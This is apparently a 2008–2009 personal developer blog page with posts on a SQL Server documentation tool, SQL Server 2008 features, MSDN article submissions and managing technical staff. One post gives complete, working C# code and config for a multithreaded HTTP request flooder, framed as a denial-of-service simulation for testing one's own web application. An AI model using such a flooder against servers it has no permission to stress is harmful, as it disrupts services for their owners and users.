Amit Chaudhary's Technology Blog

Wednesday, April 22, 2009

SQLDoc Sharp, an interactive tool for SQL documentation




Introduction


SQLDoc Sharp, an interactive tool designed to generate the SQL Server 2005/2008 documentation.


It allows exporting the documentation to CHM format (Microsoft Compiled HTML Help). And it is easy and interactive, also allows multiple database documentation.


How to use the product


After opening the product, the initial UI looks like below.


SQLDocSharp.png


Three steps required to generate the documentation.


Step # 1


In the top section provide the details about the SQL Server. It includes


a)      Source: Instance Name of the SQL Server 2005/2008


b)      If want to connect with SQL authentication then,


a.       User Name: Name of the user whose credentials, you want to use.


b.      Password: password of the user whose credentials, you want to use.


c)       In case, to connect with Windows authentication then,


a.       Only check the checkbox (Integrated Security) and you current windows credentials would be used to connect with the specified SQL Server Instance.


Step # 2


Choose the database name from the Database dropdown list, whose documentation you want to generate and then click on the Fetch button.


Meanwhile you can choose/change the File Name of the CHM file which would be generated. And also if required, then you choose to export the metadata/documentation in the XML format also.


Step # 3


Click on the Generate button. And locate the CHM file at the path specified.


After making the selection the SQLDoc Sharp UI should look like,


SQLDocSharp Step 2.png


 


Screen Shots of the Documentation generated


 


Index


Index.png



 


Instance Information


 


Instance Information.png


 



 


Date source Information


 


DataSource Information.png



 


Data Types


 


List of DataTypes.png



 


Users


 


List of Users.png



 


Tables


 


tables.png



 


Table Details


 


table details.png



 


Views


 


Views.png



 


Procedures


 


procedures.png



 


Functions


 


Functions.png



 


Triggers


 


Triggers.png



 


User Defined Data Types


 


UDDTs.png

Friday, April 17, 2009

Is there any free tool for generating documenttion from SQL 2005/2008

SQLDoc Sharp
SQLDoc Sharp, an interactive tool designed to generate the SQL Server 2005/2008 documentation.. Export documentation to CHM format (Microsoft Compiled HTML Help).

It is free...!

locate it at http://www.amitchaudhary.com/

Wednesday, February 13, 2008

Simulating the “Denial Of Service” Attack


.Net framework gives us out of the box namespace/classes, which can be used to simulate the “Denial Of Service” Attach with few lines of code. Like System.Threading, System.Net etc.


The simulation example can be used to check the web application resistance power against DoS Attack.
Below is the code snippet in C#.

using System;
using System.Collections;
using System.Configuration;
using System.Threading;

namespace Attacks
{
class Program
{
private static string url = string.Empty;
private static string user = string.Empty;
private static string password = string.Empty;
private static string domain = string.Empty;
private static Int64 threads = 0;
private static Int64 times = 0;

static void Main(string[] args)
{
url = ConfigurationSettings.AppSettings.Get("url");
user = ConfigurationSettings.AppSettings.Get("user");
password = ConfigurationSettings.AppSettings.Get("password");
domain = ConfigurationSettings.AppSettings.Get("domain");
threads = Convert.ToInt64(ConfigurationSettings.AppSettings.Get("threads"));
times = Convert.ToInt64(ConfigurationSettings.AppSettings.Get("times"));

RunDenialOfService();

Console.WriteLine("press any key to continue...");
Console.ReadKey();
}

private static void DoSomething()
{
DenialOfService dos = new DenialOfService(url, user, password, domain, times);
dos.StartProcess();
}

private static void RunDenialOfService()
{
ArrayList threadsList = new ArrayList();
for (int i = 0; i < threads; i++)
{
Thread t = new Thread(new ThreadStart(DoSomething));
t.Start();
threadsList.Add(t);

Console.WriteLine("total threads started: {0}", i);
}

foreach (Thread t in threadsList) t.Join();

Console.WriteLine("All Process are complete.");

}
}
}

using System;
using System.Net;
using System.Threading;

namespace Attacks
{
class DenialOfService
{
private string _url = string.Empty;
private string _user = string.Empty;
private string _password = string.Empty;
private string _domain = string.Empty;
private Int64 _times = 0;

public DenialOfService(string url, Int64 times)
{
_url = url;
_times = times;
}
public DenialOfService(string url, string user, string password, string domain, Int64 times)
{
_url = url;
_user = user;
_password = password;
_domain = domain;
_times = times;
}

public void StartProcess()
{
StartAttack();
}

private void StartAttack()
{
for (Int32 index = 0; index < _times; index++)
Operation(_url, _user, _password, _domain, index);

}

private void Operation(string url, string uid, string pwd, string domain, Int64 times)
{
Int32 threadName = 0;
try
{
threadName = Thread.CurrentThread.ManagedThreadId;

WebClient client = new WebClient();
client.Credentials = new NetworkCredential(uid, pwd, domain);
client.DownloadString(url);

Console.WriteLine("current thread id is: {0} and counter # is: {1}", threadName, times);
}
catch (Exception ex)
{
Console.WriteLine(ex.Message);
}
}
}
}

?xml version="1.0" encoding="utf-8" ?
configuration
appSettings
add key="url" value="http://myServer/Home.aspx" /
add key="user" value="u1" /
add key="password" value="p1" /
add key="domain" value="d1" /
add key="threads" value="200" /
add key="times" value="100" /
/appSettings
/configuration

Thursday, December 20, 2007

My Entire day lost, thanks to Microsoft’s design decision about SQL Server 2008.




Today I spend my entire day in learning SQL Server Notification Services 2005.
I was impressed by the feature set supplied by the same product.
After covering the theoretical/conceptual aspect from SQL Server Books Online, following/ struggling with the samples provided with the product. (Quotes, Flight etc)

Then I tried to come up with my own Hello World! kind of thing.
As was interested in using SQL Server Event Provider
(The SQL Server event provider queries a database. The account used by the Windows service or application that runs the event provider must be able to connect to the database and must have SELECT permissions in the database.)
Before writing my own implementation, thought about goggling for the same. And then came to know about the fact that, Microsoft has discontinued the SQL Server Notification Services in SQL Server 2008.
(As per their CTP launch & other expert’s comments)

In that whole exercise my entire day passed away. Hence, I am back to SQL Server Reporting Services once again for resolving the same business problem/need.

Tuesday, December 18, 2007

Today I was going through the SQL Server 2008 so called “What’s New”.


I came to know about “Change Tracking” and “File Stream Storage”.

Change Tracking as per BOL
SQL Server change tracking allows applications to obtain incremental changes to user tables. Where two-way synchronization is required, change tracking also allows applications to check for data conflicts. With change tracking integrated into SQL Server 2008, developers no longer have to create complicated custom change-tracking solutions.
Prior to the integration of change tracking capabilities into SQL Server, developers often created custom change tracking solutions that used a combination of triggers, timestamp columns, other additional columns, and additional tables. Now, developing synchronization applications is easier and faster.

FILESTREAM Storage as per BOL
FILESTREAM storage enables SQL Server applications to store unstructured data, such as documents and images, on the file system. This enables client applications to leverage the rich streaming APIs and performance of the file system while maintaining transactional consistency between the unstructured data and corresponding structured data.

Both of these two above things are really interesting enhancements to the SQL 2008 from my viewport.

I can recall my time, while coding, spent long hours/days when implanting the “what is changed” process to my solutions. Sometimes struggling with triggers, stored procedures, timestamps, audit logs, blah… blah etc.

Also identifying the tradeoff, when to store images/ documents on file system, when in database (you can recall your time via keyword Blob), how to take backups of split data. (File system and database)

In my opinion, SQL server is at least two version late regarding release of file stream storage.
Anyway, Better late than never
[Is often used as a polite way to respond when a person says "sorry" for being late]

Sunday, December 16, 2007

MSDN Online Article Submission Process



Anybody intrested in submitting the article to MSDN Online.
Here is the initial submission process.

Article Submission Process (mmsubmit@microsoft.com.)
MSDN Online is always looking for original, well-written articles that help developers evaluate and learn to use current Microsoft technologies for their software development projects. We welcome submissions from all readers.

If you have an article idea, please contact MSDN Online submissions at
submsdn@microsoft.com. We will contact you for further details as necessary.



Your initial submission should include:
  1. A brief (five-line) summary of the article(s) you're proposing. Please do not submit an article at this point. Articles submitted without first following the steps outlined on this page will be reviewed.
    The projected article length (our articles generally run between 1,500 and 10,000 words, not including sample code).
  2. Your target completion date.
  3. The audience your piece would address (architects, systems developers, and so on).
  4. The language that your code samples, if any, would employ. We prefer samples in two languages when possible (for example, Visual Basic and C#).
  5. The technologies that your article discusses.
  6. A statement indicating that you have not given rights to this article to another publisher, that it has not been published previously in print or on the Web, and that the article is not adapted from another source (like a book). Authors who do not work for Microsoft will be required to sign an additional contract prior to publication.

We give careful consideration to all submissions based on originality, appropriateness for MSDN Online's scope, your writing style in the submission, and our current scheduling. Several content strategists will review your proposed article topic and it may take several weeks before we can give you a decision on your proposal. Due to various limitations, we can't always use every good article idea that authors propose. If we aren't able to use your article, we recommend that you pursue submitting to MSDN Magazine or a .NET Code Wise Community site.

This is just a guide for sending us your initial submission. We have developed more detailed guidelines for writing and submitting an article. Please download and review the MSDN Writer's Toolkit (286KB MSI Installer) for more details.

Saturday, December 8, 2007

How to Manage the Super Smart Techie


Found a intresting article.

By Judy Mottl
Courtesy of TechCareers


The role of an IT manager is a diverse job that demands a mix of tech and soft skills, from good communication abilities to tracking emerging technologies.
One of the earliest lessons learned is that a 'one-size-fits-all' management approach isn't a good approach. Individual staffers require varying amounts of supervision, feedback and motivation. This is especially true when it comes to managing that super smart staffer—the tech wizard with exceptional skill sets who prefers autonomy and independence over team environments.
"They're hard to manage and it can be frustrating to a manager," says Chris Rice, CEO of Blessing White, a consulting firm that helps enterprises create sustainable high-performance organizations.
"Organizations are struggling with how to lead, motivate and retain their brightest people," notes Rice. "Expert employees, who are so essential to innovation and competitiveness today, are also demanding, sometimes rebellious, intellectually agile and often insular and uncommunicative with those outside their circle. The brightest minds can be an organization's biggest headache."
Rice's firm recently released a survey, "Leading Technical Professionals," reporting that says coaching programmers, scientists, analysts, engineers and other expert employees proves to be the greatest shortcoming of those who manage technical professionals. Smart techies want self management and are often natural problem solvers. They want to keep current; they want to have the new toys. That's why they need a different management schema—one that does not include micro-managing or as Rice puts it "getting in the person's funnel."
A good IT leader, he says, is one who understand what makes a tech professional tick and if certain needs of smart techies aren't met, such as consistent professional development, then both the employee and the company find themselves in a lose-lose situation.
"You're not going to get the best out of the expert techie if you don't have good leadership that can give them the autonomy as well as loop them into the team environment so they don't get isolated. You have to also provide relevant feedback."
The survey's findings indicate that leaders of technical professionals rate themselves as more competent in 'soft' skills like 'building trust with my team' (78 precent claim to be good at this) and 'building collaborative relationships throughout my organization' (66 percent).
As Rice translates, today's IT managers are good at being nice, but not so good at helping staff acquire new skills or apply their expertise in challenging and innovative assignments. "This finding is disturbing because technical professionals place high value on personal development and crave exciting work," he says.
"Many of these leaders succeeded in the past because of their technical expertise, not their people skills. Most often these leaders are technical professionals themselves. Being technically competent doesn't automatically make you a good leader. Soft skills are essential but people will still leave if they're not achieving their personal goals or if their work is not interesting."

About Me

हर वक्त कई चीज़ें करने का मन करता है। हर वक्त कुछ नहीं करने का मन करता है। ज़िंदगी के प्रति एक गंभीर इंसान हूं। पर खुद के प्रति गंभीर नहीं हूं। लिखने को मैं गंभीर विषय नहीं मानता हूं। तब बोलने को भी साहित्य की तरह गंभीर विषय की मान्यता देनी होगी। इसलिए मैं बोलने को लिखने से ज़्यादा महत्वपूर्ण मानता हूं । इस ब्लाग में जो कुछ भी लिखता हूं वो मेरे व्यक्तिगत विचार है । यहां लिखी गई बातों को मेरे काम से जोड़ कर न देखा जाए । वैसे यह बहुत मुश्किल काम है ।